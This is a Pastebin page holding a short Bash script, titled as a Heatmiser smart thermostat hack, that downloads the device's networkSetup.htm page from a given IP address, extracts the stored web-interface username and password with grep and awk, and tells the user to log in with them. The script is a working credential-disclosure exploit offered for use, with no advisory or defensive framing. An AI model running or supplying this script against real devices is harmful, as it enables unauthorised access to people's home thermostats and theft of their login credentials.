Advertisement
Guest User

Heatmiser

a guest
Sep 7th, 2018
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.70 KB | None | 0 0
  1. #!/bin/bash
  2. echo Heatmiser Smart Thermometer Hack
  3. echo Usage: $0 \<ip\[:port\]\> \(Default is 80. If it doesn\'t work, try port 8081\)
  4. echo This tool gets the username and password of a vulnerable Heatmiser thermostat
  5. echo Deleting old files
  6. rm networkSetup.htm*
  7. echo Copying disclosing page
  8. wget http://$1/networkSetup.htm
  9. echo Getting Username and Password
  10. echo Username:
  11. cat networkSetup.htm | grep "User" | grep "Name:" | awk -F 'value=' '{print $2}' | cut -d '"' -f 2
  12. echo Password:
  13. cat networkSetup.htm | grep "User" | grep "Password:" |grep -v -i "confirm" |  awk -F 'value=' '{print $2}' | cut -d '"' -f 2
  14. echo Success! Log in to the web interface with the above credentials.
  15. echo http://$1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement